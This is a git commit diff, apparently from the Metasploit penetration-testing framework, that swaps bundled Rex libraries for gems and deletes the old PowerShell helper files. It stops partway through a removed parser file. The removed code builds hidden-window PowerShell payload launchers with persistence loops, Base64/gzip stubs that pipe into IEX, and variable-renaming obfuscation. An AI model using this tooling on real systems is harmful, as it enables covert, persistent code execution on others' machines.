rip out old rex code and replace with gems
rex-text, rex-random_identifier, rex-powershell, rex-zip, and rex-registry are now being pulled in as gems instead of part of the spgehtti code that is lib/rexbug/bundler_fix
parent
718f36f1af
commit
69e2d05a5d
16
Gemfile.lock
16
Gemfile.lock
|
@ -28,6 +28,11 @@ PATH
|
|||
rb-readline-r7
|
||||
recog
|
||||
redcarpet
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
rubyzip
|
||||
sqlite3
|
||||
|
@ -204,6 +209,15 @@ GEM
|
|||
recog (2.0.21)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rex-powershell (0.1.0)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.0)
|
||||
rex-text
|
||||
rex-registry (0.1.0)
|
||||
rex-text (0.1.1)
|
||||
rex-zip (0.1.0)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.4.4)
|
||||
|
@ -242,7 +256,7 @@ GEM
|
|||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.4)
|
||||
tzinfo-data (1.2016.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
|
|
|
@ -48,7 +48,7 @@ module Buffer
|
|||
when 'java'
|
||||
buf = Rex::Text.to_java(buf, var_name)
|
||||
when 'powershell', 'ps1'
|
||||
buf = Rex::Text.to_powershell(buf, var_name)
|
||||
buf = Rex::Powershell.to_powershell(buf, var_name)
|
||||
when 'vbscript'
|
||||
buf = Rex::Text.to_vbscript(buf, var_name)
|
||||
when 'vbapplication'
|
||||
|
|
|
@ -13,7 +13,7 @@ class EXE
|
|||
require 'rex'
|
||||
require 'rex/peparsey'
|
||||
require 'rex/pescan'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rex/random_identifier'
|
||||
require 'rex/zip'
|
||||
require 'rex/powershell'
|
||||
require 'metasm'
|
||||
|
@ -1216,7 +1216,7 @@ require 'msf/core/exe/segment_appender'
|
|||
method: 'reflection')
|
||||
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig = Rex::RandomIdentifier::Generator.new()
|
||||
rig.init_var(:sub_auto_open)
|
||||
rig.init_var(:var_powershell)
|
||||
|
||||
|
@ -1307,7 +1307,7 @@ require 'msf/core/exe/segment_appender'
|
|||
|
||||
def self.to_mem_aspx(framework, code, exeopts = {})
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig = Rex::RandomIdentifier::Generator.new()
|
||||
rig.init_var(:var_funcAddr)
|
||||
rig.init_var(:var_hThread)
|
||||
rig.init_var(:var_pInfo)
|
||||
|
@ -1370,7 +1370,7 @@ require 'msf/core/exe/segment_appender'
|
|||
method: 'reflection')
|
||||
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig = Rex::RandomIdentifier::Generator.new()
|
||||
rig.init_var(:var_shell)
|
||||
rig.init_var(:var_fso)
|
||||
|
||||
|
|
|
@ -42,7 +42,7 @@ end
|
|||
require 'rex/constants'
|
||||
require 'rex/exceptions'
|
||||
require 'rex/transformer'
|
||||
require 'rex/random_identifier_generator'
|
||||
require 'rex/random_identifier'
|
||||
require 'rex/text'
|
||||
require 'rex/time'
|
||||
require 'rex/job_container'
|
||||
|
|
|
@ -1,62 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/powershell/payload'
|
||||
require 'rex/powershell/output'
|
||||
require 'rex/powershell/parser'
|
||||
require 'rex/powershell/obfu'
|
||||
require 'rex/powershell/param'
|
||||
require 'rex/powershell/function'
|
||||
require 'rex/powershell/script'
|
||||
require 'rex/powershell/psh_methods'
|
||||
require 'rex/powershell/command'
|
||||
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
#
|
||||
# Reads script into a Powershell::Script
|
||||
#
|
||||
# @param script_path [String] Path to the Script File
|
||||
#
|
||||
# @return [Script] Powershell Script object
|
||||
def self.read_script(script_path)
|
||||
Rex::Powershell::Script.new(script_path)
|
||||
end
|
||||
|
||||
#
|
||||
# Insert substitutions into the powershell script
|
||||
# If script is a path to a file then read the file
|
||||
# otherwise treat it as the contents of a file
|
||||
#
|
||||
# @param script [String] Script file or path to script
|
||||
# @param subs [Array] Substitutions to insert
|
||||
#
|
||||
# @return [String] Modified script file
|
||||
def self.make_subs(script, subs)
|
||||
if ::File.file?(script)
|
||||
script = ::File.read(script)
|
||||
end
|
||||
|
||||
subs.each do |set|
|
||||
script.gsub!(set[0], set[1])
|
||||
end
|
||||
|
||||
script
|
||||
end
|
||||
|
||||
#
|
||||
# Return an array of substitutions for use in make_subs
|
||||
#
|
||||
# @param subs [String] A ; seperated list of substitutions
|
||||
#
|
||||
# @return [Array] An array of substitutions
|
||||
def self.process_subs(subs)
|
||||
return [] if subs.nil? or subs.empty?
|
||||
new_subs = []
|
||||
subs.split(';').each do |set|
|
||||
new_subs << set.split(',', 2)
|
||||
end
|
||||
|
||||
new_subs
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,359 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Command
|
||||
#
|
||||
# Return an encoded powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
# @param script_in [String] Script contents
|
||||
# @param opts [Hash] The options for encoding
|
||||
# @option opts [Bool] :strip_comments Strip comments
|
||||
# @option opts [Bool] :strip_whitespace Strip whitespace
|
||||
# @option opts [Bool] :sub_vars Substitute variable names
|
||||
# @option opts [Bool] :sub_funcs Substitute function names
|
||||
#
|
||||
# @return [String] Encoded script
|
||||
def self.encode_script(script_in, eof=nil, opts={})
|
||||
# Build script object
|
||||
psh = Rex::Powershell::Script.new(script_in)
|
||||
psh.strip_comments if opts[:strip_comments]
|
||||
psh.strip_whitespace if opts[:strip_whitespace]
|
||||
psh.sub_vars if opts[:sub_vars]
|
||||
psh.sub_funcs if opts[:sub_funcs]
|
||||
psh.encode_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Return a gzip compressed powershell script
|
||||
# Will invoke PSH modifiers as enabled
|
||||
#
|
||||
# @param script_in [String] Script contents
|
||||
# @param eof [String] Marker to indicate the end of file appended to script
|
||||
# @param opts [Hash] The options for encoding
|
||||
# @option opts [Bool] :strip_comments Strip comments
|
||||
# @option opts [Bool] :strip_whitespace Strip whitespace
|
||||
# @option opts [Bool] :sub_vars Substitute variable names
|
||||
# @option opts [Bool] :sub_funcs Substitute function names
|
||||
#
|
||||
# @return [String] Compressed script with decompression stub
|
||||
def self.compress_script(script_in, eof=nil, opts={})
|
||||
# Build script object
|
||||
psh = Rex::Powershell::Script.new(script_in)
|
||||
psh.strip_comments if opts[:strip_comments]
|
||||
psh.strip_whitespace if opts[:strip_whitespace]
|
||||
psh.sub_vars if opts[:sub_vars]
|
||||
psh.sub_funcs if opts[:sub_funcs]
|
||||
psh.compress_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate a powershell command line, options are passed on to
|
||||
# generate_psh_args
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [String] :path Path to the powershell binary
|
||||
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
||||
# should include .exe
|
||||
#
|
||||
# @return [String] Powershell command line with arguments
|
||||
def self.generate_psh_command_line(opts)
|
||||
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
||||
opts[:path] << '\\'
|
||||
end
|
||||
|
||||
if opts[:no_full_stop]
|
||||
binary = 'powershell'
|
||||
else
|
||||
binary = 'powershell.exe'
|
||||
end
|
||||
|
||||
args = generate_psh_args(opts)
|
||||
|
||||
"#{opts[:path]}#{binary} #{args}"
|
||||
end
|
||||
|
||||
#
|
||||
# Generate arguments for the powershell command
|
||||
# The format will be have no space at the start and have a space
|
||||
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
||||
#
|
||||
# @param opts [Hash] The options to generate the command line
|
||||
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
||||
# arguments (v2.0 or greater)
|
||||
# @option opts [String] :encodedcommand Powershell script as an
|
||||
# encoded command (-EncodedCommand)
|
||||
# @option opts [String] :executionpolicy The execution policy
|
||||
# (-ExecutionPolicy)
|
||||
# @option opts [String] :inputformat The input format (-InputFormat)
|
||||
# @option opts [String] :file The path to a powershell file (-File)
|
||||
# @option opts [Boolean] :noexit Whether to exit powershell after
|
||||
# execution (-NoExit)
|
||||
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
||||
# @option opts [Boolean] :noninteractive Whether to load a non
|
||||
# interactive powershell (-NonInteractive)
|
||||
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
||||
# Apartment (-Mta)
|
||||
# @option opts [String] :outputformat The output format
|
||||
# (-OutputFormat)
|
||||
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
||||
# Apartment (-Sta)
|
||||
# @option opts [Boolean] :noprofile Whether to use the current users
|
||||
# powershell profile (-NoProfile)
|
||||
# @option opts [String] :windowstyle The window style to use
|
||||
# (-WindowStyle)
|
||||
#
|
||||
# @return [String] Powershell command arguments
|
||||
def self.generate_psh_args(opts)
|
||||
return '' unless opts
|
||||
|
||||
unless opts.key? :shorten
|
||||
opts[:shorten] = (opts[:method] != 'old')
|
||||
end
|
||||
|
||||
arg_string = ' '
|
||||
opts.each_pair do |arg, value|
|
||||
case arg
|
||||
when :encodedcommand
|
||||
arg_string << "-EncodedCommand #{value} " if value
|
||||
when :executionpolicy
|
||||
arg_string << "-ExecutionPolicy #{value} " if value
|
||||
when :inputformat
|
||||
arg_string << "-InputFormat #{value} " if value
|
||||
when :file
|
||||
arg_string << "-File #{value} " if value
|
||||
when :noexit
|
||||
arg_string << '-NoExit ' if value
|
||||
when :nologo
|
||||
arg_string << '-NoLogo ' if value
|
||||
when :noninteractive
|
||||
arg_string << '-NonInteractive ' if value
|
||||
when :mta
|
||||
arg_string << '-Mta ' if value
|
||||
when :outputformat
|
||||
arg_string << "-OutputFormat #{value} " if value
|
||||
when :sta
|
||||
arg_string << '-Sta ' if value
|
||||
when :noprofile
|
||||
arg_string << '-NoProfile ' if value
|
||||
when :windowstyle
|
||||
arg_string << "-WindowStyle #{value} " if value
|
||||
end
|
||||
end
|
||||
|
||||
# Command must be last (unless from stdin - etc)
|
||||
if opts[:command]
|
||||
arg_string << "-Command #{opts[:command]}"
|
||||
end
|
||||
|
||||
# Shorten arg if PSH 2.0+
|
||||
if opts[:shorten]
|
||||
# Invoke-Command and Out-File require these options to have
|
||||
# an additional space before to prevent Powershell code being
|
||||
# mangled.
|
||||
arg_string.gsub!(' -Command ', ' -c ')
|
||||
arg_string.gsub!('-EncodedCommand ', '-e ')
|
||||
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
||||
arg_string.gsub!(' -File ', ' -f ')
|
||||
arg_string.gsub!('-InputFormat ', '-i ')
|
||||
arg_string.gsub!('-NoExit ', '-noe ')
|
||||
arg_string.gsub!('-NoLogo ', '-nol ')
|
||||
arg_string.gsub!('-NoProfile ', '-nop ')
|
||||
arg_string.gsub!('-NonInteractive ', '-noni ')
|
||||
arg_string.gsub!('-OutputFormat ', '-o ')
|
||||
arg_string.gsub!('-Sta ', '-s ')
|
||||
arg_string.gsub!('-WindowStyle ', '-w ')
|
||||
end
|
||||
|
||||
# Strip off first space character
|
||||
arg_string = arg_string[1..-1]
|
||||
# Remove final space character
|
||||
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
||||
|
||||
arg_string
|
||||
end
|
||||
|
||||
#
|
||||
# Wraps the powershell code to launch a hidden window and
|
||||
# detect the execution environment and spawn the appropriate
|
||||
# powershell executable for the payload architecture.
|
||||
#
|
||||
# @param ps_code [String] Powershell code
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
||||
# @param opts [Hash] The options for generate_psh_args
|
||||
#
|
||||
# @return [String] Wrapped powershell code
|
||||
def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
|
||||
opts[:noprofile] ||= 'true'
|
||||
opts[:windowstyle] ||= 'hidden'
|
||||
|
||||
# Old method needs host process to stay open
|
||||
opts[:noexit] = true if (opts[:method] == 'old')
|
||||
|
||||
if encoded
|
||||
opts[:encodedcommand] = ps_code
|
||||
else
|
||||
opts[:command] = ps_code.gsub("'", "''")
|
||||
end
|
||||
|
||||
ps_args = generate_psh_args(opts)
|
||||
|
||||
process_start_info = <<EOS
|
||||
$s=New-Object System.Diagnostics.ProcessStartInfo
|
||||
$s.FileName=$b
|
||||
$s.Arguments='#{ps_args}'
|
||||
$s.UseShellExecute=$false
|
||||
$s.RedirectStandardOutput=$true
|
||||
$s.WindowStyle='Hidden'
|
||||
$s.CreateNoWindow=$true
|
||||
$p=[System.Diagnostics.Process]::Start($s)
|
||||
EOS
|
||||
process_start_info.gsub!("\n", ';')
|
||||
|
||||
archictecure_detection = <<EOS
|
||||
if([IntPtr]::Size -eq 4){
|
||||
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
||||
}else{
|
||||
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
||||
};
|
||||
EOS
|
||||
|
||||
archictecure_detection.gsub!("\n", '')
|
||||
|
||||
archictecure_detection + process_start_info
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a powershell command line string which will execute the
|
||||
# payload in a hidden window in the appropriate execution environment
|
||||
# for the payload architecture. Opts are passed through to
|
||||
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
||||
#
|
||||
# @param pay [String] The payload shellcode
|
||||
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
||||
# @param opts [Hash] The options to generate the command
|
||||
# @option opts [Boolean] :persist Loop the payload to cause
|
||||
# re-execution if the shellcode finishes
|
||||
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
||||
# before executing the payload
|
||||
# @option opts [String] :method The powershell injection technique to
|
||||
# use: 'net'/'reflection'/'old'
|
||||
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
||||
# script within the hidden/architecture detection wrapper
|
||||
# @option opts [Boolean] :encode_final_payload Encodes the final
|
||||
# powershell script
|
||||
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
||||
# environment variable at the start of the command line
|
||||
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
||||
# argument in single quotes unless :encode_final_payload
|
||||
#
|
||||
# @return [String] Powershell command line with payload
|
||||
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
|
||||
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
||||
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
||||
end
|
||||
|
||||
if opts[:no_equals] && !opts[:encode_final_payload]
|
||||
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
||||
end
|
||||
|
||||
psh_payload = case opts[:method]
|
||||
when 'net'
|
||||
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
|
||||
when 'reflection'
|
||||
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
|
||||
when 'old'
|
||||
Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
|
||||
when 'msil'
|
||||
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
||||
else
|
||||
fail RuntimeError, 'No Powershell method specified'
|
||||
end
|
||||
|
||||
# Run our payload in a while loop
|
||||
if opts[:persist]
|
||||
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
||||
sleep_time = rand(5) + 5
|
||||
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
||||
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
||||
end
|
||||
|
||||
if opts[:prepend_sleep]
|
||||
if opts[:prepend_sleep].to_i > 0
|
||||
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
||||
end
|
||||
end
|
||||
|
||||
compressed_payload = compress_script(psh_payload, nil, opts)
|
||||
encoded_payload = encode_script(psh_payload, opts)
|
||||
|
||||
# This branch is probably never taken...
|
||||
if encoded_payload.length <= compressed_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
encoded = true
|
||||
else
|
||||
if opts[:encode_inner_payload]
|
||||
encoded = true
|
||||
compressed_encoded_payload = encode_script(compressed_payload)
|
||||
|
||||
if encoded_payload.length <= compressed_encoded_payload.length
|
||||
smallest_payload = encoded_payload
|
||||
else
|
||||
smallest_payload = compressed_encoded_payload
|
||||
end
|
||||
else
|
||||
smallest_payload = compressed_payload
|
||||
encoded = false
|
||||
end
|
||||
end
|
||||
|
||||
# Wrap in hidden runtime / architecture detection
|
||||
inner_args = opts.clone
|
||||
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
|
||||
|
||||
command_args = {
|
||||
noprofile: true,
|
||||
windowstyle: 'hidden'
|
||||
}.merge(opts)
|
||||
|
||||
if opts[:encode_final_payload]
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
|
||||
# If '=' is a bad character pad the payload until Base64 encoded
|
||||
# payload contains none.
|
||||
if opts[:no_equals]
|
||||
while command_args[:encodedcommand].include? '='
|
||||
final_payload << ' '
|
||||
command_args[:encodedcommand] = encode_script(final_payload)
|
||||
end
|
||||
end
|
||||
else
|
||||
if opts[:use_single_quotes]
|
||||
# Escape Single Quotes
|
||||
final_payload.gsub!("'", "''")
|
||||
# Wrap command in quotes
|
||||
final_payload = "'#{final_payload}'"
|
||||
end
|
||||
|
||||
command_args[:command] = final_payload
|
||||
end
|
||||
|
||||
psh_command = generate_psh_command_line(command_args)
|
||||
|
||||
if opts[:remove_comspec]
|
||||
command = psh_command
|
||||
else
|
||||
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
||||
end
|
||||
|
||||
if command.length > 8191
|
||||
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
||||
end
|
||||
|
||||
command
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,61 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
class Function
|
||||
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
|
||||
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
|
||||
attr_accessor :code, :name, :params
|
||||
|
||||
include Output
|
||||
include Parser
|
||||
include Obfu
|
||||
|
||||
def initialize(name, code)
|
||||
@name = name
|
||||
@code = code
|
||||
populate_params
|
||||
end
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Powershell function
|
||||
def to_s
|
||||
"function #{name} #{code}"
|
||||
end
|
||||
|
||||
#
|
||||
# Identify the parameters from the code and
|
||||
# store as Param in @params
|
||||
#
|
||||
def populate_params
|
||||
@params = []
|
||||
start = code.index(PARAMETER_REGEX)
|
||||
return unless start
|
||||
# Get start of our block
|
||||
idx = scan_with_index('(', code[start..-1]).first.last + start
|
||||
pclause = block_extract(idx)
|
||||
|
||||
matches = pclause.scan(FUNCTION_REGEX)
|
||||
|
||||
# Ignore assignment, create params with class and variable names
|
||||
matches.each do |param|
|
||||
klass = nil
|
||||
name = nil
|
||||
param.each do |value|
|
||||
if value
|
||||
if klass
|
||||
name = value
|
||||
@params << Param.new(klass, name)
|
||||
break
|
||||
else
|
||||
klass = value
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,96 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Obfu
|
||||
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
|
||||
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
|
||||
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
|
||||
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
|
||||
WHITESPACE_REGEX = Regexp.new(/\s+/)
|
||||
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
|
||||
|
||||
#
|
||||
# Remove comments
|
||||
#
|
||||
# @return [String] code without comments
|
||||
def strip_comments
|
||||
# Multi line
|
||||
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
|
||||
# Single line
|
||||
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Remove empty lines
|
||||
#
|
||||
# @return [String] code without empty lines
|
||||
def strip_empty_lines
|
||||
# Windows EOL
|
||||
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
|
||||
# UNIX EOL
|
||||
code.gsub!(UNIX_EOL_REGEX, "\n")
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Remove whitespace
|
||||
# This can break some codes using inline .NET
|
||||
#
|
||||
# @return [String] code with whitespace stripped
|
||||
def strip_whitespace
|
||||
code.gsub!(WHITESPACE_REGEX, ' ')
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Identify variables and replace them
|
||||
#
|
||||
# @return [String] code with variable names replaced with unique values
|
||||
def sub_vars
|
||||
# Get list of variables, remove reserved
|
||||
get_var_names.each do |var, _sub|
|
||||
code.gsub!(var, "$#{@rig.init_var(var)}")
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Identify function names and replace them
|
||||
#
|
||||
# @return [String] code with function names replaced with unique
|
||||
# values
|
||||
def sub_funcs
|
||||
# Find out function names, make map
|
||||
get_func_names.each do |var, _sub|
|
||||
code.gsub!(var, @rig.init_var(var))
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Perform standard substitutions
|
||||
#
|
||||
# @return [String] code with standard substitution methods applied
|
||||
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
|
||||
# Save us the trouble of breaking injected .NET and such
|
||||
subs.delete('strip_whitespace') unless get_string_literals.empty?
|
||||
# Run selected modifiers
|
||||
subs.each do |modifier|
|
||||
send(modifier)
|
||||
end
|
||||
code.gsub!(EMPTY_LINE_REGEX, '')
|
||||
|
||||
code
|
||||
end
|
||||
end # Obfu
|
||||
end
|
||||
end
|
|
@ -1,157 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'zlib'
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Output
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Code
|
||||
def to_s
|
||||
code
|
||||
end
|
||||
|
||||
#
|
||||
# Returns code size
|
||||
#
|
||||
# @return [Integer] Code size
|
||||
def size
|
||||
code.size
|
||||
end
|
||||
|
||||
#
|
||||
# Return code with numbered lines
|
||||
#
|
||||
# @return [String] Powershell code with line numbers
|
||||
def to_s_lineno
|
||||
numbered = ''
|
||||
code.split(/\r\n|\n/).each_with_index do |line, idx|
|
||||
numbered << "#{idx}: #{line}"
|
||||
end
|
||||
|
||||
numbered
|
||||
end
|
||||
|
||||
#
|
||||
# Return a zlib compressed powershell code wrapped in decode stub
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
#
|
||||
# @return [String] Zlib compressed powershell code wrapped in
|
||||
# decompression stub
|
||||
def deflate_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = ::Zlib::Deflate.deflate(code,
|
||||
::Zlib::BEST_COMPRESSION)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$s=New-Object IO.MemoryStream(,"
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Read & delete the first two bytes due to incompatibility with MS
|
||||
psh_expression << '$s.ReadByte();'
|
||||
psh_expression << '$s.ReadByte();'
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.DeflateStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Return Base64 encoded powershell code
|
||||
#
|
||||
# @return [String] Base64 encoded powershell code
|
||||
def encode_code(eof = nil)
|
||||
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
|
||||
end
|
||||
|
||||
#
|
||||
# Return ASCII powershell code from base64/unicode
|
||||
#
|
||||
# @return [String] ASCII powershell code
|
||||
def decode_code
|
||||
@code = Rex::Text.to_ascii(Rex::Text.decode_base64(code))
|
||||
end
|
||||
|
||||
#
|
||||
# Return a gzip compressed powershell code wrapped in decoder stub
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
#
|
||||
# @return [String] Gzip compressed powershell code wrapped in
|
||||
# decompression stub
|
||||
def gzip_code(eof = nil)
|
||||
# Compress using the Deflate algorithm
|
||||
compressed_stream = Rex::Text.gzip(code)
|
||||
|
||||
# Base64 encode the compressed file contents
|
||||
encoded_stream = Rex::Text.encode_base64(compressed_stream)
|
||||
|
||||
# Build the powershell expression
|
||||
# Decode base64 encoded command and create a stream object
|
||||
psh_expression = "$s=New-Object IO.MemoryStream(,"
|
||||
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
|
||||
# Uncompress and invoke the expression (execute)
|
||||
psh_expression << 'IEX (New-Object IO.StreamReader('
|
||||
psh_expression << 'New-Object IO.Compression.GzipStream('
|
||||
psh_expression << '$s,'
|
||||
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
|
||||
psh_expression << ')).ReadToEnd();'
|
||||
|
||||
# If eof is set, add a marker to signify end of code output
|
||||
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
|
||||
psh_expression << "echo '#{eof}';" if eof
|
||||
|
||||
@code = psh_expression
|
||||
end
|
||||
|
||||
#
|
||||
# Compresses script contents with gzip (default) or deflate
|
||||
#
|
||||
# @param eof [String] End of file identifier to append to code
|
||||
# @param gzip [Boolean] Whether to use gzip compression or deflate
|
||||
#
|
||||
# @return [String] Compressed code wrapped in decompression stub
|
||||
def compress_code(eof = nil, gzip = true)
|
||||
@code = gzip ? gzip_code(eof) : deflate_code(eof)
|
||||
end
|
||||
|
||||
#
|
||||
# Reverse the compression process
|
||||
# Try gzip, inflate if that fails
|
||||
#
|
||||
# @return [String] Decompressed powershell code
|
||||
def decompress_code
|
||||
# Extract substring with payload
|
||||
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
|
||||
# Decode and decompress the string
|
||||
unencoded = Rex::Text.decode_base64(encoded_stream)
|
||||
begin
|
||||
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::GzipFile::Error
|
||||
begin
|
||||
@code = Rex::Text.zlib_inflate(unencoded)
|
||||
rescue Zlib::DataError => e
|
||||
raise RuntimeError, 'Invalid compression'
|
||||
end
|
||||
end
|
||||
|
||||
@code
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,21 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
class Param
|
||||
attr_accessor :klass, :name
|
||||
def initialize(klass, name)
|
||||
@klass = klass.strip
|
||||
@name = name.strip.gsub(/\s|,/, '')
|
||||
end
|
||||
|
||||
#
|
||||
# To String
|
||||
#
|
||||
# @return [String] Powershell param
|
||||
def to_s
|
||||
"[#{klass}]$#{name}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,182 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Powershell
|
||||
module Parser
|
||||
# Reserved special variables
|
||||
# Acquired with: Get-Variable | Format-Table name, value -auto
|
||||
RESERVED_VARIABLE_NAMES = [
|
||||
'$$',
|
||||
'$?',
|
||||
'$^',
|
||||
'$_',
|
||||
'$args',
|
||||
'$ConfirmPreference',
|
||||
'$ConsoleFileName',
|
||||
'$DebugPreference',
|
||||
'$Env',
|
||||
'$Error',
|
||||
'$ErrorActionPreference',
|
||||
'$ErrorView',
|
||||
'$ExecutionContext',
|
||||
'$false',
|
||||
'$FormatEnumerationLimit',
|
||||
'$HOME',
|
||||
'$Host',
|
||||
'$input',
|
||||
'$LASTEXITCODE',
|
||||
'$MaximumAliasCount',
|
||||
'$MaximumDriveCount',
|
||||
'$MaximumErrorCount',
|
||||
'$MaximumFunctionCount',
|
||||
'$MaximumHistoryCount',
|
||||
'$MaximumVariableCount',
|
||||
'$MyInvocation',
